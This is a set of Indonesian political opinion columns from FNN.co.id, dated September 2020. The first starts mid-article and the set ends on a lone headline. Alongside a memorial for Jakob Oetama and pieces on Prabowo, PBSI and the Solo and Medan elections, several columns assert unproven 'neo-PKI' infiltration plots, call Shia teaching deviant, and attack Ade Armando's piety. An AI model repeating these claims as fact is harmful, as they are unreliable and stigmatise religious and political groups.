gagasan sertifikasi para da’i. MUI menolak itu. Dan memang gagasan ini berlebihan. Begitulah hebatnya neo-komunis dan neo-PKI. Mereka tampaknya berhasil menyeludupkan konsep untuk melemahkan umat Islam ke jajaran legislatif dan eksekutif. Dengan cara yang ‘sangat milenial’. Cara yang sesuai dengan tampilan kekinian, yang bercirikan celana sempit baju ketat. Bersamaan dengan pengacak-acakan pendidikan agama Islam, kaum neo-komunisme dan neo-PKI berusaha pula memutihkan diri mereka dari kejahatan kejam dan brutal di masa lalu. Mereka mencoba membalikkan seolah PKI adalah korban pembantaian. Padahal, PKI adalah pelaku pembantaian 1948 (pemberontakan Madiun) dan pelaku pembantaian 1965 (pemberontakan G30S/PKI). Jadi, rakyat harus terus waspada. Umat Islam, khususnya, tidak boleh lengah. Cara-cara kaum neo-komunisme dan neo-PKI tidak akan pernah berhenti. Umat tidak punya banyak waktu. Apalagi, musuh-musuh lain juga terus mengincar setiap hari. Ada bahaya Narkoba yang sebagian besar korbannya adalah generasi muda Islam. Ada pula sejumlah ajaran sesat dalam bentuk Syiah dan ajaran liberal. Ada juga proses pemiskinan dan pembodohan umat yang kelihatannya bersinergi dengan kaum neo-komunis dan neo-PKI.[] Penulisadalah Wartawan Senior FNN.co.id

IN MEMORIAM, Jakob Oetama, Presiden Indonesia Mini - 1

by Tjahja Gunawan Jakarta FNN - Minggu (27/09). Hari ini, Minggu 27 September 2020, seharusnya Jakob Oetama merayakan ulang tahunnya yang ke 89 tàhun. Namun dia harus menerima takdir Tuhan Yang Maha Esa. Pak JO, meninggal sebelum sempat merayakan hari jadinya. Beliau wafat Hari Rabu 9 September 2020 di Rumah Sakit Mitra Keluarga Kelapa Gading, Jakarta pukul 13.05 WIB. Pada pagi harinya, saya mendapat informasi dari seorang sahabat yang masih bekerja di Grup Usaha Kompas Gramedia. "Pa JO kritis, sudah dengar kang ?," demikian isi WA dari sahabat saya tersebut. Kemudian beberapa jam kemudian saya dikabari bahwa Pendiri Kompas Gramedia tersebut wafat. Saya segera berkirim ucapan bela sungkawa kepada Irwan Oetama, anak pertama Pa JO. Saya justru kenal lebih dekat dengan Pak Irwan karena kebetulan memiliki hoby yang sama yakni sepedaan. Saya kerap melihat sosok Pa JO pada pribadi Pa Irwan, terutama dalam hal kebaikannya. Sifat dasarnya selalu ingin menyenangkan semua orang sehingga tidak heran kalau teman-teman Pa Irwan sangat banyak walaupun mungkin ada satu dua orang yang berusaha memanfaatkannya. Demikian pula Pa JO, dikenal sekaligus disegani banyak orang dan termasuk orang yang ringan tangan. Misalnya, ketika ada mantan wartawan Kompas yang mengirim lukisan kepadanya, Pa JO seolah paham dengan kode tersebut dan segera mengirim sejumlah uang ke sang wartawan tersebut. Juga banyak cerita lain dari pengalaman beberapa wartawan Kompas yang sedang bertugas ke luar negeri yang secara kebetulan bertemu dengan Pa JO. Lalu otomatis Pa JO memberikan "uang jajan". Tidak hanya itu, sejumlah penulis muda Kompas juga ada yang pernah mendapat biaya sekolah ke luar negeri. Dalam suatu rapat pagi di Redaksi Kompas, Pa JO menyebut seseorang yang pernah dibantunya. Saya sendiri mendengar dari orang lain, ada bekas aktivis mahasiswa sekaligus kolumnis Kompas yang sekarang memimpin sebuah lembaga survey, pernah mendapat bantuan dari Jakob Oetama. Nampaknya Pa JO kalau sudah kagum dengan orang muda yang cerdas dan memiliki visi maka dia akan mudah memberikan bantuan pada anak muda tersebut tanpa syarat apapun. Respek dengan Jusuf Kalla Kemudian dalam percaturan politik, walaupun Pa JO bukan seorang politisi tapi adakalanya dia memberikan endorsement kepada orang tertentu untuk memimpin negeri ini. Tentu orang yang diendorse tersebut memiliki kapabilitas, kompetensi dan pengalaman serta visi untuk memajukan Indonesia. Misalnya, di era Presiden Susilo Bambang Yudhoyono, Pa JO terlihat senang ketika SBY berduet bersama Jusuf Kalla memimpin Indonesia pada tàhun 2004. Oleh karena itu, pada periode kedua, Pa JO sebenarnya masih menginginkan SBY berpasangan dengan JK untuk melanjutkan pembangunan. Tapi realitas politik ternyata tidak seperti yang diharapkan Pa JO. Pada periode kedua sebagai Presiden RI, Pa SBY lebih memilih berpasangan dengan mantan Gubernur Bank Indonesia Boediono. Kembali kepada tradisi ulang tàhun Pa JO di lingkungan Kompas, biasanya selalu dirayakan secara sederhana di Kantor Kompas Jl Palmerah Selatan Jakarta. Kalau jatuh pada hari libur seperti sekarang, maka perayaan ulang tàhun Pa JO dilaksanakan sehari kemudian di hari kerja. Yang hadir biasanya bukan hanya unsur pimpinan, karyawan dan sejumlah wartawan di lingkungan Kompas, tapi sejumlah sahabat Pa JO biasanya juga ikut merayakan ulang tàhun Pa JO di Kantor Kompas. Diantara "out sider" yang selalu hadir pada setiap ulang tàhun Pa JO adalah tokoh pertelevisian Ishadi SK dan pendidik sekaligus pakar soal etika Mien Uno. Bu Mien merasa kehilangan dengan wafatnya Pa Jakob. "Saya sangat sedih dan kehilangan dengan sosok orang yang sederhana. Pa JO merupakan sosok guru yang terus mendidik bangsa. Beliau selalu menginspirasi saya dan tidak pernah lelah memotivasi saya untuk terus menjadi pendidik," kata Bu Mien Uno. Saat berbincang dengan penulis di rumahnya yang asri dan kebetulan bertetangga dengan Pa JO di Kawasan Kebayoran Baru, Bu Mien juga mengoleksi buku-buku tentang Pa Jakob Oetama. Pada perayaan ulang tàhun Pa JO tàhun lalu, Bu Mien Uno juga menyempatkan diri untuk datang ke Kantor Kompas ikut merayakan ulang tàhun Pa JO. Walaupun Jakob Oetama dikenal sebagai wartawan, tapi Bu Mien merasa memiliki chemistry dengan beliau sebagai sesama guru. Mien Uno tidak salah karena Jakob Oetama memang mengawali karirnya pertama kali menjadi seorang guru. Namun, dia kemudian memilih jalan sebagai wartawan hingga kemudian mendirikan jaringan media terbesar, Kompas Gramedia bersama rekannya, PK Ojong. Meski demikian, Jakob Oetama lebih senang disebut sebagai wartawan ketimbang sebagai pengusaha. Masyarakat pada umumnya mengenal Jakob Oetama sebagai pribadi yang santun dan bersahaja. Dalam suatu kesempatan rapat redaksi Kompas pagi, Pa JO pernah bercerita sepintas tentang pengalamannya menjadi guru sejarah di kawasan Cipanas, Kabupaten Cianjur, Jawa Barat. "Waktu itu, saya sering naik sepeda kalau ngajar sejarah," kata Pa JO singkat. Saya yang waktu itu kebetulan ikut rapat pagi, langsung membayangkan kontur jalan di Cipanas yang menanjak. Dalam hati saya hanya bisa bergumam, ternyata masa mudanya Pa JO ini cukup tangguh juga fisiknya. Dalam hal menjaga kesehatan, Pa JO memang sangat disiplin. Di saat masih sehat, dia termasuk salah satu orang yang rutin menjalani joging di Kawasan Gelora Bung Karno (GBK). Salah satu teman joggingnya adalah mantan Menkeu alamarhum Mar'ie Muhammad. Pernah pada tàhun 2009, Harian Kompas menyelenggarakan acara Fun Bike. Sebagai Ketua Panitia, waktu itu saya memang meminta Pa JO melalui sekretarisnya Mbak Ety, untuk datang membuka acara goes yang pertamakali diadakan tersebut. Namun sebenarnya saya tidak terlalu berharap Pa Jakob datang karena acaranya pagi jam 6. Namun pada saat pelaksanaannya, Pa JO ternyata datang lebih awal bahkan bersedia menunggu beberapa saat. Kejutan Hadiah Pa JO Momen ulang tàhun Pa JO juga sering ditunggu-tunggu para wartawan dan karyawan Kompas karena disana ada harapan mendapat hadiah kejutan dari Pa JO berupa tambahan gaji sebulan penuh. Namun, uang kejutan itu biasanya diberikan pada hari ulang tàhun Pa JO di angka-angka yang genap. Misalnya ulang tàhun ke 80 atau 85. Bahkan hadiah kejutan tersebut tidak hanya diberikan kepada seluruh wartawan dan karyawan Kompas tetapi juga diberikan kepada seluruh karyawan Kompas Gramedia. Sifat altruistik yang dipunyai Pa JO tersebut juga tercermin pada salah satu putranya, Irwan Oetama. Setiap buka puasa menjelang Lebaran, beliau kerap mengundang teman-temannya yang punya hoby sama di dunia sepedaan. Lalu dibuat acara di tempat khusus dengan mengundang da'i yang memberikan ceramah menjalang buka puasa. Setelah itu, dilanjutkan dengan pemberian santunan kepada anak-anak yatim yang juga diundang secara khusus ke acara tersebut. Kebiasaan berbagi dengan orang lain adalah warisan nilai kehidulan dari Pa JO yang sangat berharga disamping pemikiran dan idei-denya soal kebangsaan dan kemanusiaan. Nilai-nilai kehidupan yang diwariskan Pa JO menjadi relevan di zaman seperti sekarang ketika masyarakat dan para pemimpin serta elite politik kita sedang berada di persimpangan jalan. Pa Jakob sendiri menurut saya adalah pribadi yang selalu gelisah dengan persoalan kebangsaan dan masa depan Indonesia. Dia termasuk salah satu tokoh masyarakat yang kerap diminta pendapatnya oleh para elite politik khususnya para pemimpin di negeri ini. Meski begitu, JO termasuk sosok yang rendah hati, santun dan bijaksana. Pasca tumbangnya Orde Baru tàhun 1998 terutama setiap menjelang Pemilu terutama Pilpres, setiap elite politik yang akan berkompetisi dalam Pemilu senantiasa sowan ke Pa JO, bersilaturahmi sekaligus bertukar pikiran dan gagasan untuk Indonesia yang lebih baik. Begitulah Pa JO, dia mampu berdiri di atas semua golongan dan kepentingan. Serta bisa merangkul semua kalangan yang berbeda latar belakang agama dan budaya. Oleh karena itu, dalam berbagai kesempatan Pa JO selalu mengibaratkan lingkungan Kompas termasuk di dalamnya Grup Usaha Kompas Gramedia seperti Indonesia Mini. Dia selalu berpesan kepada para pimpinan dan para karyawan di lingkungan Kompas Gramedia agar bisa menjaga keberagaman dan kebhinekaan. Sebagai pendiri Kompas Gramedia bersama PK Ojong, tentu tidak mudah untuk bisa mewujudkan Indonesia Mini. Apalagi jika melihat sejarahnya, Kompas didirikan tàhun 1965 oleh Partai Katolik dengan Ketuanya Frans Seda. Namun dalam perjalanannya, Kompas mampu timbuh dan berkembang dengan menitikberatkan pada nilai-nilai kemanusiaan. Rasanya tidak berlebihan kalau Jakob Oetama saya juluki sebagai Presiden Indonesia Mini. (Bersambung) Penulis adalah Wartawan Senior FNN.co.id & Mantan Wartawan Kompas 1990-2016.

Kasihan Pak Prabowo, “Macan Yang Menjadi Beruang Sirkus”

by M Rizal Fadillah Bandung FNN – Ahad (27/09). Menteri Pertahanan (Menhan) boleh saja menjadi penting dan bergengsi. Apalagi diisi oleh eks puncak lawan politik. Cocok pula dengan latar belakang profesi sebagai mantan prajurit ketentaraan. Bahasa kerennya profesional, karena sesuai dengan keahlian. Dalam hal Presiden dan Wakil Presiden berhalangan tetap, Menhan menjadi salah satu dari triumvirat yang menggantikannya. Juga tentu, terlepas dari kekecewaan para pendukung atas kesiapan Prabowo untuk menjadi menterinya Jokowi. Tetapi yang namanya jabatan, pendukung silahkan saja kecewa. Walaupun demikian, ada rasa kasihan ditinggalkan pendukung. Akan tetapi itu hak politik yang memang tidak bisa dihalangi. Toh segala risikonya sudah dikalkulasi. Apalagi Prabowo dengan surat wasiat yang terbang, dan gebrak-gebrak podium, yang tinggal hanya kenangan seperti macan yang sudah terkurung dalam kandang. Macan yang sudah terkurung di dalam kandang, andai mengaum pun, sekadar lucu-lucuan saja untuk membuat anak-anak tertawa. Sebab tidak juga bisa bebuat apa-apa. Kesangarannya sebagai macan hanya tinggal kenangan. Bahkan bisa menjadi catatan dan tontonan lucu-lucuan. Kini, dengan tidak bermaksud mengecilkan arti pangan bagi kehidupan rakyat, bangsa, dan negara, namun ada rasa sedih dan duka yang mendalam melihat Pak Prabowo yang tadinya ibarat macan yang ditakuti, ternyata semakin menjadi macan yang dipermainkan. Bahkan berubah menjadi “Beruang Sirkus”. Beruang yang hanya mengikuti atraksi dan maunya tukang sirkus. Tersiar kabar, ada perintah Presiden agar Menhan Prabowo memperkuat ketahanan pangan. Salah satu program utama ketahanan pangan adalah menanam singkong. Akibatnya, masayarakat terpaksa harus menepuk jidat. Tanam singkong dan ketahanan pangan ini tugasnya Menhan atau Menteri Pertanian? Ada yang menjawab, “Oh tidak, pangan itu menjadi bagian penting dari benteng pertahanan lho, sehingga masih dalam ruang lingkup Menhan”. Nah, kalau begitu semua juga masuk dalam ruang lingkup, dan menjadi benteng pertahanan, termasuk urusan sandang dan pangan. Dengan demikian, nantinya Pak Prabowo juga bisa mengurus perumahan, pakaian, dan mungkin juga jalan tol dan pengolahan limbah produksi. Weleh, benar-benar menjadi anggota baru Luhut Binsar Panjaitan dong? Menteri Superman. Ada juga yang menyebut Luhut dengan Menteri Segala Urusan. Inilah kabinet "acak kadut" Menhan ngurus pertanian dan Menko Maritim urus kesehatan. Tetapi nggak aneh juga sih, karena ahli meubel juga ngurus negara ini. Lebih tidak aneh adalah tukang "taik" menjadi Komisaris Utama Pertamina. Negara memang diurus secara asal-asalan. Kasihan Pak Prabowo. Saat masyarakat memprotes rencana pemindahan ibukota, Prabowo diam saja. Reaksi ramai-ramai masyarakat soal Peraturan Pemerintah Pengganti Undang-Undang (Perppu) Corona dan RUU Omnibus Law juga tak ada komentar. Nah, yang paling ironi ketika penolakan masif terhadap Rancangan Undang-Undang Haluan Ideologi Pancasil (RUU HIP) Prabowo "not clearly comment" dan "no action". Malah ikut "ngabring" mengantarkan RUU Badan Pembinaan Idewologi Pancasila (BPIP) ke Mbak Puan Maharani. Yang lebih tragis dan mengenaskan lagi, ketika Fraksi Partai Gerindra di Badan Legislasi (Baleg) DPR menjadi salah satu fraksi yang ikut menyetujui draf usulan agar RUU HIP diterima menjadi Hak Usul Inisiatif DPR. Fraksi DPR di Baleg yang menolak hanya PKS dan Demokrat. Sekarang betapa mandul dan tercengkeramnya Pak Menhan. Mulut yang bungkam mungkin "taktik" atau "strategi". Walaupun masyarakat, khususnya eks pendukung, hanya dapat mengurut dada. Tetapi ketika Prabowo menerima penugasan untuk tanam singkong, masyarakat terpaksa tepuk-tepuk jidat. Kata orang Sunda "kieu-kieu teuing" atau kata orang Betawi "gini-gini amat". "Dignity" itu barang mahal yang sulit untuk dilepas. Namun justru ini yang dikhawatirkan telah diserahkan demi kekuasaan. Juga demi jabatan Menhan. Hampir semua Menteri Jokowi menjadi ocehan publik. Ocehan yang menjadi goresan hitam untuk kabinet dan masa depan pribadi. Prabowo tampaknya sudah tak perlu berpikir karier politik. Kini bertekad saja untuk memberi manfaat sebesar-besarnya bagi rakyat dengan membuat tapak. Mau menjadi Presiden dengan berlindung di bawah ketiak Pak Jokowi adalah keliru. Bagai berada di ruang tipu-tipu. Warisan dari cara dan pola curang dalam menggapai kekuasaan adalah kehinaan yang tiada akhir. Kekuasaan yang didapat dari hasil curang, hanya akan menempatkan diri menjadi musuh rakyat ke depannya. Hal ini sama saja dengan mengejar bayang-bayang kuasa yang sia-sia belaka. Kasihan memang Pak Prabowo. Macan yang berubah berprilaku menjdi “Beruang Sirkus”. Penulis adalah Pemerhati Politik dan Kebangsaan.

Sekulerisasi di Kampus Yes, Islamisasi No?

by Nuim Hidayat Jakarta FNN- Minggu (27/09). Ade Armando dan kawan-kawannya kini gencar melakukan sekulerisasi Kampus besar-besaran. Didahului dengan penelitian lembaga Setara terhadap radikalisme Islam di 10 PTN ternana di Indonesia tahun 2018. Hasilnya menurut mereka ada radikalisme Islam di kampus-kampus. Maka mereka -kelompok abangan dan non Muslim- ini melancarkan aksinya setelah stigma negatif terhadap kelompok Islam sukses mereka lancarkan. Di ITB mereka membentuk Gerakan Anti Radikal ITB. Salah satu gerakannya adalah mendesak agar Prof Din Syamsuddin dicopot dari keanggotaan Wali Amanat ITB. Di UGM mereka berhasil melobi rektor agar melarang Ustadz Abdul Shomad ceramah di kampus UGM. Di UI kelompok Ade Armando dan Setara lebih ganas lagi. Mereka membungkus penjegalan Islamisasi di UI dengan penjegalan PKS. Mereka menyatakan bahwa PKS sejak reformasi menguasai lembaga kemahasiswaan, birokrasi penting kampus hingga penyaluran beasiswa. Akibat ini, maka Lembaga Dakwah Kampus mahasiswa UI dipindahkan sekretariatnya dari masjid UI ke Pusat Kegiatan Mahasiswa. Aneh memang. Kalau Rasulullah menyuruh agar mahasiswa dekat sama masjid, kelompok Ade malah membujuk UI agar mahasiswa jauh dari masjid. Mereka kini puas karena langkah mereka mendapat dukungan dari petinggi kampus. Bahkan mungkin mereka dapat aliran dana besar dari pemerintah, karena program radikalisme mereka sejalan dengan pemerintah. Upaya penghadangan Islamisasi di kampus (juga di masyarakat) dengan kedok radikalisme mengingatkan kita pada kondisi Orba tahun 80an. Atau kondisi Orla ketika Soekarno menerapkan demokrasi terpimpin. Kini umat Islam mesti hati-hati. Berapa banyak ustadz yang hanya salah omong, videonya menjadi bukti untuk memasukkannya di hotel prodeo. Sementara kelompok mereka meski melanggar hukum dan sudah dilaporkan ke polisi, tidak diapa-apakan. Tapi jangan kuatir. Islam ibarat air. Meski dibendung dengan berbagai cara -batu atau beton sekalipun- ia akan sanggup cari jalan keluar. Arus Islam itu akan makin membesar dan menjebol beton itu. Islam adalah fitrah manusia. Sekulerisme yang terbukti gagal dalam sejarah di dunia Islam, adalah jalan menyimpang dari fitrah manusia. Mahasiswa atau dosen-dosen di kampus negeri tidak bisa dibatasi oleh sekat-sekat yang dibuat Ade cs. Dunia virtual menyambungkan mereka dengan saudara-saudaranya dari seluruh tanah air bahkan dunia. Teruslah bergerak wahai saudaraku. Meski lawan terus menghadangmu. Ujian ini saya yakin justru akan memperkuat jiwamu untuk terus berdakwah menyebarkan Islam (Islamisasi). Langkah-langkah yang dibuat Ade cs hanyalah kerikil yang tidak akan membahayakan kakimu. Ade bukanlah Muslim yang baik. Bahkan saya sendiri pernah menyaksikan dalam sebuah acara di Hotel Jakarta, Ade tidak melaksanakan Sholat Ashar dan Maghrib. Dalam Islam, orang yang tidak melaksanakan prinsip-prinsip Islam jangan dipercaya... Penulis adalah Ketua Dewan Dakwah Islamiyah Depok.

PBSI Versus Istana Berebut Posisi Ketua Umum

by Rahmi Aries Nova Jakarta FNN – Ahad (27/09). Bursa Ketua Umum Persatuan Bulutangkis Seluruh Indonesia (PBSI) mulai memanas. Beberapa pihak mulai memunculkan nama yang akan digadang menjadi kandidat pengganti Wiranto yang masa jabatannya berakhir Oktober ini. Perlu Ketua Umum baru untuk memimpin PBSI hingga 2024 mendatang. Menurut informasi yang didapat, pihak Istana menginginkan Kepala Staf Kepresiden, Moeldoko yang mengambil alih tongkat estafet dari Wiranto. Indikasinya sejumlah mantan atlet asal Klub Djarum Kudus sudah menghadap dan meminta kesediaan mantan Panglima TNI tersebut sejak awal September lalu. Bahkan kabarnya, Istana juga melarang Kapolri Idham Aziz ikut untuk bersaing di bursa Ketua Umum PBSI. Padahal yang bersangkutan dikenal mencintai bulutangkis. Idham Azis adalah pecinta dan pemain bulutangkis sampai sekarang. Setiap minggu, dua sampai tiga kali Idham Azis bermain bulutangkis. Tapi, tentu saja, PBSI bukan hanya milik Djarum, sehingga mutalak-mutlakan Djarum yang menetukan siapa yang layak menjadi Ketua Umum PDSI. Meski tidak dapat dipungkiri kontribusinya sebagai klub dan perusahaan bagi bulutangkis Indonesia sangat besar. Sebaliknya, beberapa pihak justru ingin PBSI bisa melepaskan diri dari ketergantungan kepada Djarum. Istilah halusnya mandiri, seperti di era sebelum kepemimpinan Gita Wirjawan dulu. Kelompok yang ingin mandiri ini, tampaknya dimotori Ketua Harian PP PBSI yang juga Ketua Pengurus Provinsi (Pengrov) PBSI DKI Jakarta, Alex Tirta. Alex mengklaim sebanyak 26 Pengprov PBSI, dari 34 Pengprov yang punya hak suara justru mendukung Ketua Badan Pemeriksa Keuangan (BPK) RI Agung Firman Sampurna sebagai Ketua Umum PBSI yang menggantikan Wiranto untuk priode 2020-2024. Alex menjelaskan, sesuai aturan organisasi yang tertuang di AD/ART, Ketua Umum PBSI dipilih oleh Pengprov. "Ini murni aturan organisasi yang sudah ada sejak dahulu," katanya. Sebaiknya ikuti saja aturan yang sudah baku. Jangan sampai dirubah-rubah lagi. Menurut Alex, para pengurus Pengprov mengaku membutuhkan sosok yang kuat untuk meneruskan kepemimpinan Wiranto yang sudah membuahkan prestasi. Juga untuk menertibkan masalah pencurian umur dan membuat perbaikan di internal, terutama dalam pembibitan pemain muda. Dibutuhkan Ketua Umum yang menciptakan keadilan dalam persaingan untuk menjadi pemain nasional. "Kami melihat ada kesinambungan, jika tongkat kepemimpinan dari Pak Wiranto, antinya diteruskan kepada Pak Agung Firman. Sejauh ini sudah ada 26 dari 34 Pengprov yang menyatakan dukungan secara tertulis untuk memilih Pak Agung Firman," ungkap Alex di Jakarta, Rabu (23/9). Alex pun menambahkan, Pengprov sangat berharap Agung Firman bisa membawa PBSI mandiri secara keuangan. Sosoknya sebagai ketua BPK RI dianggap pas dalam membenahi keuangan PBSI. Saat ini PBSI masih ada masalah di sektor pendanaan karena kurangnya minat sponsor. Kami berharap agar PBSI ke depan dapat mengundang perusahaan-perusahaan lain untuk ikut menjadi sponsor di PBSI. Hal ini untuk menggairahkan kegiatan bulutangkis di daerah, terutama daerah yang masih tertinggal fasilitas dan pembibitan pemain mudanya. “Diharapkan ke depan, PBSI butuh turnamen-turnamen di daerah. Untuk itu, harus ada sponsor yang membantu mendanai Pengprov dalam mewujudkan kegiatan PBSI di daerah," katanya lagi. Mampukah PBSI melawan'keinginan istana? Apakah Moeldoko akan bersaing dengan Agung Firman? Mungkinkah pemilihan Ketua Umum PBSI kali berlangsung dengan sistem voting ? Haruskah melanggar tradisi aklamasi di PBSI selama ini? Moeldoko sendiri punya pengalaman buruk saat bersaing di ajang pemilihan Ketua Umum PSSI pada 2016 lalu. Moledoko kalah bersaing dari Edy Rahmayadi yang mendapat 76 suara. Sementara Moledoko hanya kebagian 23 suara dari 107 pemilik suara. Penulis adalah Wartawan Senior FNN.co.id.

Aneh, Pemerintah Kok Beroposisi Kepada Rakyat?

by Anton Permana Jakarta FNN – Ahad (27/09). Praktek politik seperti ini mungkin baru terjadi di negeri ini. Pemerintah atau penguasa, yang seharusnya menjadi bahagian dari struktur bernegara dan entitas utama dalam mewujudkan masyarakat yang adil dan makmur, justru lebih banyak menghabiskan energinya seolah "berseberangan" dengan rakyatnya sendiri. Ketika negara ini sudah disepakati bersama menjadi Negara berPancasila, ehh tiba-tiba mau diubah menjadi Tri Sila dan Eka Sila. Juga ketika negara ini hidup harmonis tenang dan damai karena mayoritas rakyatnya beragama Islam, ehh tiba-tiba pemerintah sibuk membangun narasi-narasi radikal-radikul, redikel, redikil dan radikol. Tak peduli hal itu menyakiti hati rakyatnya. Ketika Majelis Ulama Indonesia (MUI), Nahdlatul Ulama (NU), Muhammadiyah, Palang Merah Indonesia (PMI), sebagai reseprentasi suara civil society, meminta Pilkada diundur atas nama nyawa, kemanusiaan dan keterpurukan ekonomi, ehh penguasa tetap bersikukuh memaksakan Pilkada tetap berjalan di tengah badai wabah corona yang mematikan ini. Ketika rakyat butuh pekerjaan, ekonomi sulit harga-harga semakin tinggi, dan minyak dunia turun, ehh pemerintah malah bombardir mendatangkan TKA China. Terlihat pemerintah tanpa rasa malu dan keberpihakan terhadap nasib rakyat yang banyak menganggur dan susah hidup. Belum lagi kenaikan iuran BPJS, tarif listrik dan tidak menurunkan harga pejualan BBM di dalam negeri sebagaimana negara lain, yang semakin mencekik kehidupan rakyat yang sekarat. Rakyat juga haus akan nilai keadilan dan penegakan hukum, ehh semua dikotori dengan kasus Tjoko Chandra, Harun Masiku. Malah teror penganiayaan kepada para ulama dan imam masjid yang seolah terjadi biasa-biasa saja. Hari ini harmonisasi kehidupan terasa pahit. Keadilan hukum semakin mahal. Rasa kebersamaan dan persatuan telah dicabik-cabik oleh prilaku penguasa yang semakin tak jelas arah tujuannya mau kemana? Yang jelas, negeri ini semakin rusak parah menuju titik kehancuran. Inilah out put dari kepemimpinan yang dikendalikan oligharki, korporasi dan konglomerasi. Yang dijiwai oleh paham liberalisme dan neo kolonialisme. Ditambah lagi dengan semakin "semena-menanya" para anak keturunan PKI yang menyusup dalam sendi-sendi negara, dan memproduksi aturan serta kebijakan yang menyakitkan hati rakyat. Tidak sedikit yang sebenarnya menabrak berbagai macam aturan hukum. Tapi begitulah. Rakyat hari ini merasa kecolongan. Rakyat hari ini seakan tertipu dengan bahasa manis reformasi. Ternyata, hari ini semua menjadi lebih buruk dan rusak parah. Yang namanya rakyat, pasti akan tetap setia dengan nilai-nilai kebenaran, sesuai yang telah diajarkan dan hidup berkembang dalam kehidupan. Disitulah ada norma, nilai, adat budaya, dan agama. Dimana semua terkristalisasi dengan indah dalam Pancasila dan UUD 1945. Cuma sayang, pondasi indah ini yang saat ini mereka rusak dan langkahi dengan semena-mena. Maka jadilah seolah pemerintah yang beroposisi terhadap rakyatnya. Karena tak pernah lagi bertindak dan bekerja untuk rakyatnya. Semua kalah dan tunduk di bawah ketiak politik kepentingan pribadi dan kelompok golongan. Konstitusi dan aturan hukum yang secara prinsip seharusnya jadi alat untuk mengekang kekuasaan, justru hari ini menjadi alat utamakekuasaan. Bahkan parahnya lagi, aturan hukum dan kekuasaan dijadikan alat untuk mengintimidasi rakyatnya sendiri. Kekuasaan digunakan untuk membunuh kebenaran. Lalu apa bedanya kita hari ini dengan masa penjajahan terdahulu??? Kita tidak tahu sampai kapan ini akan terjadi. Tetapi yakinlah, tidak ada kekuasaan yang bertahan lama kalau terus menekan, menindas, semena-mena dan beroposisi terhadap rakyatnya. Apalagi, kalau kekuasaan itu digunakan untuk merubah total tatanan nilai yang sudah hidup berurat dan berakar bersama rakyatnya turun temurun. Semoga, kondisi buruk hari ini menemukan titik cahaya kebaikan esok atau di kemudian hari. Suara rakyat adalah suara Tuhan. Negeri ini lahir dan berdiri dari hasil perjuangan rakyat. Sekali khianati dan sakiti rakyat, yakinlah akan ada massanya rakyat bangkit untuk mengambil alih hak dan kedaulatannya kembali secara konstitusional. Ini hanya masalah waktu saja. InsyaAllah. Salam Indonesia Jaya! Penulis adalah Direktur Eksekutif Tanhana Dharma Mangruva Institute.

Tak Peduli Covid-19, Yang Penting Gibran dan Bobby Menjadi Walikota

by Asyari Usman Jakarta FNN – Ahad (27/09).Banyak yang mungkin belum paham mengapa Jokowi tidak begitu perduli dengan amukan Covid-19 di Pemilihan Kepala Daerah (Pilkada) serentak 2020. Itu semua disebabkan Gibran di Solo dan Bobby di Medan. Anak dan menantu Jokowi ini ikut Pilwalkot pada 9 Desember nanti. Inilah taruhan yang sangat besar bagi Jokowi. Bebannya tidak ringan. Kedua calon itu “wajibjadi”. Tidak ada kamus untuk kalah. Jadi, inilah yang membuat Jokowi lebih mementingkan Gibran dan Bobby dibandingkan amukan virus Corona. Hingga saat ini, Jokowi tak menggubris imbauan banyak pihak agar Pilkada serentak 2020 di 270 daerah ditunda dulu. Para pakar kesehatan dan epidemiologi sangat mengkhawatirkan kemunculan ribuan “cluster” baru dari kegiatan Pilkada nanti. Jabatan walikota untuk Gibran Rakabuming dan Bobby Nasution jauh lebih penting di mata Jokowi. Ke sinilah perhatian penuh itu ditumpahkan. Sebanyak mungkin tokoh berkaliber dari semua parpol, dikerahkan. Siang dan malam. Non-stop 24 jam untuk anak dan menantu. Ancaman untuk dipermalukan di kedua Pilwalkot itu sangat tinggi. Rakyat Solo dan Medan akan menjadi “unpredictable” (tak terpetakan). Warga di kedua kota ini akan berjuang keras untuk menentang kesewenangan demokrasi. Di Medan, warga kelihatan tenang-tenang saja. Namun, mereka siap menolak Bobby. Ini yang saya simpulkan sesuai observasi dari dekat selama ini. Barangkali, itulah yang membuat Jokowi tak bisa tidur. Apalagi, cara Jokowi memuluskan pencalonan anak dan menantunya itu meninggalkan korban perasaan kelas berat. Di Solo, mantan Wakil Walikota Achmad Purnomo dipaksa menyingkir demi Gibran. Purnomo menunjukkan perlawanan gaya Solo. Dia tak sudi ikut dalam tim pemenangan Gibran. Tamparan keras bagi Jokowi dan PDIP. Sedanghkan di Medan, mantan Wakil Walikota Akhyar Nasution dipecat oleh pimpinan PDIP karena tidak mau memberikan jalan untuk Bobby Nasution. Melawan lebih keras dari Purnomo, Akhyar malah maju sebagai calon walikota dengan dukungan PKS dan Partai Demokrat. Dua tindakan “demokratis yang otoriter” ini, sekarang, menumbuhkan tekad perlawanan akar rumput di Solo dan Medan. Gerbong pendukung setia Achmad Purnomo sangat besar. Mereka kecewa habis. Marah melihat kesewenangan yang sangat melecehkan warga Solo itu. Begitu pula dengan penyingkiran Akhyar Nasution. Dengan cara sesuka hati oleh Megawati. Ini membulatkan tekad warga Medan untuk memenangkan Akhyar nanti. Tim Jokowi sudah melihat jelas gelagat kekalahan anak dan menantunya itu. Itulah sebabnya sekarang disusun satgas pemenangan yang seolah lebih penting dari Satgas Covid-19. Diturunkan nama-nama beken nasional. Semua ikut. Bahkan ada nama Megawati dan Puan di tim Gibran. Untuk Bobby di Medan, ada nama Sandiaga Uno. Mungkinkah itu efektif dan bisa membuat keduanya menang? Nanti dulu bung! Medan sangat labil bagi Bobby sejauh ini. Bobby memang sudah lama mencoba masuk ke akar rumput. Dia dibantu oleh semua orang penting di kota ini. Tetapi, warga kota Medan sangat piawai. So elegant! Warga kota Medan tidak ribut. Mereka akan menunjukkan perlawanan terhadap kesewenangan yang mengatasnamakan demokrasi itu di TPS, 9 Desember 2020. Djarot Saiful Hidayat (PDIP) pernah merasakan “humiliation” telak di Pilgub Sumut pada 2018. Warga Solo pun bermain cantik. Gibran bisa dipermalukan oleh Bagyo Wahyono yang maju dari jalur independen. Lihat saja reaksi publik Solo. Dalam waktu relatif singkat bisa terkumpul 38,000 dukungan untuk Bagyo Wahyono. Sangat militan. Akan tetapi, ada tapinya. Akhyar Nasution dan Bagyo Wahyono bisa gigit jari juga. Sebab, Bobby dan Gibran boleh jadi “sudah ditakdirkan menang” jauh sebelum pencoblosan berlangsung Penulis adalah Wartawan Senior FNN.co.id.

Revisi UU BI, Membuka Jalan Menuju Kehancuran Ekonomi

